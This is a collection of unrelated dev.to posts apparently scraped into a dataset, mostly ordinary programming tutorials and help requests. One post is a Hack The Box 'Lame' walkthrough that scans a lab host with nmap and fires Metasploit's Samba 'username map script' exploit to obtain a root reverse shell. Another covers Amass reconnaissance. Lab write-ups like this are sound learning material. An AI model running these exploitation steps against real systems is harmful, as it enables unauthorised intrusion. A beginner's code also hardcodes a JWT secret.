teleren/devto huggingface dataset:
I've made game engine (I think)
Tags: gamedev, python, javascript, webdev
Published: 2024-05-05 21:51:13

Hi!
With Python and ThreeJS (https://threejs.org/) I have made app to make easy 3d visualisation, which you can test in browser.
Like this:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fjkghr0yo6zz8q25irtj.png)

All you need to draw red qube is to type somethig like this:
```
box = ef.create('box', 10, 10, 10, position={'x': 0, 'y': 10, 'z': 0}, color='red')
```
And blueprint on back of qube:
```
plane = ef.create(
    'plane',
    1093, 
    630,
    texture='textures/map.svg',
    color=0xffffff,
    position={'x':0, 'y': 0, 'z': 0},
    rotation={'x': -(math.pi/2),'y': 0, 'z': -(math.pi/2)}
    )
```

And ofcorse you can use any 3D models, that can draw ThreeJS:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2o40pjzzo01mjvc61i1y.png)


My dream is to make open 3D world with it, but it can be used for drawing diagrams like BI in 3D and integrate it to any web app.

Have you any ideas about how to better use it and if anyone looking for interesting project I'll be glad to speek about.

Github:
https://github.com/larcefox/pyThrJs/tree/3db

Thanks for reading!
PROJECT ON AZURE AD(MICROSOFT ENTRA ID)
Published: 2024-05-05 21:33:36

## Azure Active Directory (Microsoft Entra ID ) Project

Hagital Consulting Ltd  has decided to streamline its identity management process by utilising Microsoft Azure Active Directory (Microsoft Entra ID) to manage its cloud-based identities.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jltz3lahvb7sclqfv3ku.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/euz2x264dqmexwm3p9sq.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/stkynuxww9dxi90808ck.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vuky245fhwbzaqtd92k1.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jadinhzu25cyuya9yt9t.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jdssb3wn9eg74m36g1x6.JPG)
My new open source project
Published: 2024-05-05 21:20:50

Since the middle of 2023, I've been trying to create something that people will find interesting, something everyone can use, however, I just get ideas - I'm not that creative, an i felt I wasn't good enough yet.

Beginning of this year however, I created a site that allows you to scroll through a list of AI website, check it out href="https://ariyoaresa.me/ai-list">here</a>

However, 2 days ago, an idea popped into my mind, to create a darkmode javascript library

 I started building right away, while testing it out on the project I was currently working on.
This evening, I have successfully completes it and you ca check it out on  <a href="https://github.com/ariyoaresa/darkmodejs/">GitHub</a>
#881. Boats to Save People
Published: 2024-05-05 21:13:13

https://leetcode.com/problems/boats-to-save-people/?envType=daily-question&envId=2024-05-04


```javacript
/**
 * @param {number[]} people
 * @param {number} limit
 * @return {number}
 */ 
var numRescueBoats = function (people, limit) {
    let boats = 0, left = 0, right = people.length - 1
    people = people.sort((a, b) => a - b)

    while(left <= right) {
        if (people[left] + people[right] <= limit) {
            left++
        }
        right--
        boats++
    }
    return boats
};
```
#237. Delete Node in a Linked List
Published: 2024-05-05 21:11:18

https://leetcode.com/problems/delete-node-in-a-linked-list/?envType=daily-question&envId=2024-05-05

```javascript

/**
 * Definition for singly-linked list.
 * function ListNode(val) {
 *     this.val = val;
 *     this.next = null;
 * }
 */
/**
 * @param {ListNode} node
 * @return {void} Do not return anything, modify node in-place instead.
 */
var deleteNode = function (node) {
    node.val = node.next.val
    node.next = node.next.next
};

```
HOW TO CREATE VIRTUAL MACHINE SCALE SET - VMSS
Published: 2024-05-05 21:07:24

## THE PROCESS INVOLVED IN CREATING VMSS


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1f00bzpuwvxbzrkvsmg2.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u9023ln5412wgvv374ps.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/blwry5p1y3r0205o6nd6.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8n50zwktcnfo2shou300.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ec0whfzqyyr94csdiqx5.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z7of0rzimahtemkvkdt7.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gxx0amynuyvx1aoc0wl2.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hjrq0pfraaik5zc76c8r.JPG)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rl9oim33x3x6bjd2ypq9.JPG)
Next.js Failed to compile Deploying to Vercel
Tags: nextjs, javascript, webdev
Published: 2024-05-05 20:32:27

If you are getting the errors below while deploying on Vercel.

`Error: `”` can be escaped with `&quot;`, `&ldquo;`, `&#34;`, `&rdquo;`. react/no-unescaped-entities`

If any JSX files have some of the text with “ or ‘. that file linter shows errors.

``` javascript
const Example = () => {
  return (
    <div >
       <p>  Sign up for new product drops, behind-the-scenes 
          content, and monthly "5 Things I'm Digging" emails</p>
      </div>
  )}

export default Example;
```

Now we can solve this issue with several options:

Bad practice: Remember don’t suppress linter like below.

``` javascript
//eslint.json
{
  "rules": {
    "react/no-unescaped-entities": 0,
  }
}
```


Good Practice: Escape HTML or {} Embedding Expressions with  Template literals wrap in JSX.

[List of the Escape HTML Characters.](https://www.w3schools.com/html/html_entities.asp)



``` javascript
const Example = () => {
  return (
    <div >
       <p>  Sign up for new product drops, behind-the-scenes 
          content, and monthly {`"5 Things I'm Digging"`} emails</p>
      </div>
  )}
export default Example;
```


or



``` javascript
const Example = () => {
  return (
    <div >
       <p>  Sign up for new product drops, behind-the-scenes 
          content, and monthly &quot;5 Things I&apos;m Digging&quot; emails</p>
      </div>
  )}
export default Example;

```
Basic Feature Flags in Laravel
Tags: laravel, howto, webdev
Published: 2024-05-05 20:21:14

Feature Flags (or toggles) are used to conveniently enable or disable features in an application. Feature Flags make it easier to test, manage, and roll out new features. 

The following is a bare-bones implementation using a [service provider](https://laravel.com/docs/master/providers) approach.

This approach consists of:
- An enum
- A service provider
- A global helper

## The Enum

We will use an enum to represent each feature we want to manage.

In `App\Enums` create the enum:

```php
enum Feature
{
    case EnableAddToCart;
    case EnableCheckout;
    case EnableReviews;
    // ... 
}
```

## The Service Provider

The provider will be the sole source of truth in determining which features are enabled and allows for a central location for feature management. To disable a feature, simply comment it out.

Generate a new service provider using `php artisan make:provider FeatureProvider`.

> Be sure to register the service provider according to your version of Laravel.

Add each `Feature` enum case to this provider.

```php
/**
* Register services.
*/
public function register(): void
{
    $this->app->singleton('features', [
        Feature::EnableAddToCart,
        Feature::EnableCheckout,
        // Feature::EnableReviews
    ]);
}
```

## The Global Helper

Registering global helper functions in Laravel is a breeze!

In the `App` directory create `helpers.php`:

```php
<?php

use App\Enums\Feature;

/**
 * Check if a feature is enabled
 */
if(! function_exists('featureEnabled')) {
    
    function featureEnabled(Feature $feature): bool
    {
        return in_array($feature, app('features'));
    }
}
```

Next, add this file to the autoload config in `composer.json`:
```json
"autoload": {
    "psr-4": {
        "App\\": "app/",
        "Database\\Factories\\": "database/factories/",
        "Database\\Seeders\\": "database/seeders/"
    },
    "files": [
        "app/helpers.php"
    ]
},
```

## Usage

Now you can perform feature checks anywhere in your app with the helper function:

```php
if(featureEnabled(Feature::EnableCheckout)){
    // ...
}
```

## Taking it a Step Further

This lightweight implementation can be easily modified to allow for conditionally enabling features in the provider. 

```php
$features = [
    Feature::EnableAddToCart => env('ENABLE_CART'),
    Feature::EnableCheckout => $this->authorizeCheckout(),
    Feature::EnableReviews => Cache::get('reviewed')
];

$this->app->singleton('features', fn() => array_keys(array_filter($features));
```
[HTB] Machine - Lame
Tags: htb, hackthebox, cybersecurity
Published: 2024-05-05 19:53:12

## Step 1: preparation

1. Connect to the VIP HTB VPN
2. Add $IP variable to shell for faster operation

```shell
IP=10.10.X.X
echo $IP
``` 

## Step 2: enumeration

I first start with a basic nmap scan

```shell
nmap $IP
```

This scan returns `Host seems down. If it is really up, but blocking our ping probes, try -Pn`

So I try with the related flag

```shell
nmap -Pn $IP
```

And it returns that 4 ports are available

![nmap basic scan result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qbwa32kh19ivj5rpl059.png)

Given that, I make a more precise (and longer) scan

```shell
nmap -Pn -sV -sC $IP
```

![nmap precise scan](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ak02yyk5s5ajjw1i2slz.png)

I can see that vsFTPd is on version `2.3.4` and samba is on version `3.0.20`.

It should be enough for exploitation.

## Step 3: exploitation

### Samba 3.0.20

A little search on the msfconsole give me a result nammed `Samba "username map script" Command Execution`.

![msfconsole samba result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7gwh8nsy7p291dbltak9.png)

I so use this module and check which options are available

```shell
msf > use 0
msf > show options
```

![samba exploit options](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wsvl8ziq2buzkpwuzoy2.png)

The RHOSTS is empty and requiered, so I set it up

```shell
msf > set RHOSTS $IP (replace $IP with the real target IP)
```

> NOTE: The LHOST need to be setted up with the HTB VPN TUN interface, not your local IP. 

And then I launch the exploit

```shell
msf > exploit
```

![exploit reverse shell](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7h93wux90wbwd592sd73.png)

I am now in a reversed shell!

```shell
cd home
ls
- ftp
- makis
- service
- ...
cd makis
ls
- user.txt
cat user.txt
```

The user flag is done.

For root, I come back the root of the shell, I navigate to the root folder and I get the root.txt file.

## Step 4: that's it

If you want to subscribe to the **HackTheBox Academy**, you can use [my referral link](https://arc.net/l/quote/qtwmafao)!
Creatin session.sig using sessionID in oidc provider
Tags: node, oidcprovide
Published: 2024-05-05 19:44:55

const crypto = require('crypto');

// Function to generate a signature for a given data and secret key
function generateSignature(data, secretKey) {
    const hmac = crypto.createHmac('sha256', secretKey);
    hmac.update(data);
    return hmac.digest();
}

// Example session ID
const sessionId = "example_session_id";

// Example secret key (should be securely stored in your application)
const secretKey = Buffer.from("example_secret_key", 'utf-8');

// Data to sign (in this case, just the session ID)
const data = Buffer.from(sessionId, 'utf-8');

// Generate signatures for session and legacy session
const sessionSignature = generateSignature(data, secretKey);
const legacySessionSignature = generateSignature(data, secretKey);

// Encode signatures as base64 strings for use in cookies
const sessionSignatureBase64 = sessionSignature.toString('base64').replace(/=/g, '');
const legacySessionSignatureBase64 = legacySessionSignature.toString('base64').replace(/=/g, '');

// Print the encoded signatures
console.log("Session Signature:", sessionSignatureBase64);
console.log("Legacy Session Signature:", legacySessionSignatureBase64);
Common Table Expressions (CTEs) in SQL
Tags: database, datascience, sql, analytics
Published: 2024-05-05 19:35:23

Let me take you through an advanced yet easy concept to grasp in SQL.
You have probably already dealt with sub-queries in SQL. If so, then this is no difference.
A CTE is basically a named temporary result set used within a larger SQL statement.

Similar to a subquery also known as a nested query, CTEs are useful for breaking down complex queries into more manageable parts to improve code readability.
Think of it as a better way to organize longer queries.

Having known that, let's go through a CTE example:
First things first, the syntax to include a CTE statement is,

**WITH cte_xxxx
AS (larger/temporary query)
then now the main query**

A point to note is every other time, you should run the two together because as its name appears, a temporary query is not saved anywhere


> WITH cte_employees
> AS (
> SELECT emp_id, first_name, last_name, dpt_id, dpt_name
> FROM employees)
> SELECT * FROM cte_employees
> WHERE dpt_id = 2;


The main query selects data from our CTE allowing easy retrieval of information specifically related to department 2

Always treat a CTE query like any other query...Go ahead and perform joins, aggregate functions in a CTE.
In the event of multiple CTEs, always include them in the same WITH statement separated by a comma.


Happy querying SQL nerds
OWASP Amass
Tags: 100daystooffload, tooling, security, osint
Published: 2024-05-05 19:28:12

The first step in the [ATT&CK Matrix for Enterprise](https://attack.mitre.org/matrices/enterprise/) is the [reconnaissance](https://attack.mitre.org/tactics/TA0043/) phase.

The [Amass](https://owasp.org/www-project-amass/) tool is a perfect fit for the sub-techniques in the [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596/) category which is part of the reconnaissance phase from the matrix above.

Here is a summary of the Amass tool from their GitHub page:

> The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.

Information gathering techniques used by the tool are:

* APIs
* Certificates
* DNS
* Routing
* Scraping
* Web Archives
* WHOIS

To install it on an Ubuntu machine you can use this command.

```bash
snap install amass
```

![amass](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oovmge4nhclhlypzjcw0.png)

To learn more about each sub-command, (`intel|enum|viz|track|db`), enter this command in the terminal window:

```bash
amass intel -h
```

And replace `intel` with the sub-command of choice. To get started with the tool you can try out the most basic tool and enumerate subdomains.

```bash
amass enum -d example.com
```

This will take a minute or two to run, depending on the domain, replace the `example.com` domain with the actual domain you want to find subdomains to.

When it has finished you will get a list all the findings, which can be visualized with this command.

```bash
amass viz -d3
```

This will create a html file in the same directory as the command was executed in. Look for a file called, `amass.html`. Open it with the command:

```bash
open amass.html
```

There you have a nice presentation of the findings of the domain enumeration.

To learn more about the tool I highly recommend their [tutorial](https://github.com/owasp-amass/amass/blob/master/doc/tutorial.md).

This is a great and easy tool to use and it's not only for red teams. It's always good to know your digital footprints and the potential services that might be exploited. There is almost always something interesting that turns up in the findings.

Happy searching!
Eclat vs Apriori
Published: 2024-05-05 19:25:14

Apriori and Eclat are both association rule algorithms frequently used in data mining. Determining which algorithm is "better" often depends on your application and data set. Here are some features of both algorithms:

Apriori Algorithm: Apriori is one of the most widely used algorithms for finding association rules. This algorithm first calculates the frequencies of single items, then uses this information to find sets of items that frequently appear together. The advantage of Apriori is that it can be effective on large data sets. However, the Apriori algorithm requires a large number of calculations, which can reduce performance.

Eclat Algorithm: Eclat is faster than Apriori because it only calculates the support values of itemsets and therefore requires fewer calculations. Eclat uses a depth-first search strategy and therefore requires less memory. However, the disadvantage of Eclat is that it must keep the entire dataset in memory, which may not be feasible for very large datasets.

Ultimately, determining which algorithm is better depends on your use case and the characteristics of your dataset. If your data set is very large and you have memory limitations, Apriori may be more suitable. However, if you want faster results and less calculations, Eclat may be a better option.
Need help in DART
Tags: dart, android
Published: 2024-05-05 19:07:09

Hello everyone I am new to this community and this dart language, I will get to the point here
I am trying to take input from my console but the console is not taking it. I wrote the whole code pretty accurately , even if I just copy the code from ChatGPT , youtube , blogs etc , its not taking the output , It shows all the other ouput before taking input but when it comes to take input it just stop taking it

here is the code
// importing dart:io file
import 'dart:io';

void main()
{
print("Enter your name?");
// Reading name of the Geek
String? name = stdin.readLineSync(); // null safety in name string

// Printing the name
print("Hello, $name! \nWelcome to GeeksforGeeks!!");
}

if I use other platforms like tutorialpoints it works fine but not on idx by google nor vs code
solve an error of node.js
Published: 2024-05-05 19:01:48

hi 👋 everyone my name is Kanishk and am new to this community. i face an error at noed.js 
this is my code

```
import express from "express";
import cors from "cors";
import userModel from "./model/user.js";
import jwt from "jsonwebtoken";
import bcrypt from "bcrypt";
import cookieParser from "cookie-parser";
const app = express();

app.use(cors({ origin: true, credentials: true }));
app.use(express.json());
app.use(express.urlencoded({extended : true}));
app.use(cookieParser());


app.get("/", (req, res) => {
  // res.cookie("passkey",token )
  res.send("Done");
});

app.post("/register", (req,res,next)=>{

  bcrypt.genSalt(10,(err,salt) =>{
      bcrypt.hash(req.body.password , salt , async (err,hash)=>{
        let token  = jwt.sign("req.body.email" , "secret");
          
              let createusers = await userModel.create({
                  username:req.body.username,
                  email:req.body.email,
                  password: hash,
                  passkey:token,
                  
              })
              
              res.cookie("token",token);
              res.redirect("/");
              next();
      })
  })

});

app.post("/login", async (req, res) => {
  try {
      const user = await usermodel.findOne({ email: req.body.email });
      if (!user) {
          console.log("User not found");
          return res.status(404).send("User not found");
      }

      // Compare the provided password with the hashed password from the database
      const passwordMatch = await bcrypt.compare(req.body.password, user.password);
      if (passwordMatch) {
          // Generate JWT token
          const token = jwt.sign({ email: user.email }, "secret");

          // Set the token in a cookie
          res.cookie("token", token); // Example cookie options, adjust as needed

          console.log("Login successful");
          return res.status(200).send("Login successful");
      } else {
          console.log("something went wrong");
          return res.status(401).send("something went wrong");
      }
  } catch (error) {
      console.error("Error:", error.message);
      return res.status(500).send("Internal Server Error");
  }
  res.redirect("/")
});

app.listen(5000, () => {
  console.log("Your server is hosted on port 5000");
});

```

I want when a user registers a cookie is sent to him or her on its browser
React js haqida
Published: 2024-05-05 18:54:53

Bu yerda post bo'lishi kerak
Shunaqa debdi shunda ediki hatto ertaklarda ham tushdik ham tushdik ham uning oʻzidir uchun bosh 💀💀☠️ ham tushdik uchun namuna tashlav ham uning oʻzidir ham uning ortidan bir tomonlama tartibda davlat mukofotlari
React 19 introduces Component Rendering with the Magic of "use"!
Tags: webdev, discuss, react, reactnative
Published: 2024-05-05 18:54:09


Hey there, fellow React enthusiasts! Today, we're diving into one of the coolest features of React 19 – the shiny new `use` API. This little gem is here to make your component rendering experience smoother than ever before. So, grab your favorite beverage, cozy up, and let's explore how `use` is changing the game for developers like us!

---

#### What's the Buzz About `use`?

So, what exactly is this `use` API all about? Well, think of it as your trusty sidekick for handling asynchronous operations and context consumption right within your component's render function. No more juggling useEffect hooks or manual loading states – `use` does the heavy lifting for you, making your life as a developer a whole lot easier.

#### How `use` Spruces Up Component Rendering

Let's paint a picture: you're building a nifty comments section for your blog post. In the old days, fetching comments asynchronously meant wrestling with useEffect hooks and managing loading states manually. But fear not, because with `use`, it's as simple as pie:

```javascript
import { use } from 'react';

function Comments({ commentsPromise }) {
  const comments = use(commentsPromise);

  return (
    <div>
      {comments.map(comment => (
        <p key={comment.id}>{comment.text}</p>
      ))}
    </div>
  );
}
```

With `use`, your component gracefully suspends until the `commentsPromise` resolves, ensuring your users enjoy a seamless loading experience. And the best part? It's all integrated right into your render function, keeping your component logic clean and your performance top-notch.

#### Let's Hear Your Thoughts!

Now that we've taken a spin through the wonderful world of `use`, what are your thoughts? Are you as excited about this new API as we are? How do you plan to wield its power in your projects? We'd love to hear your thoughts and experiences, so drop us a line in the comments below!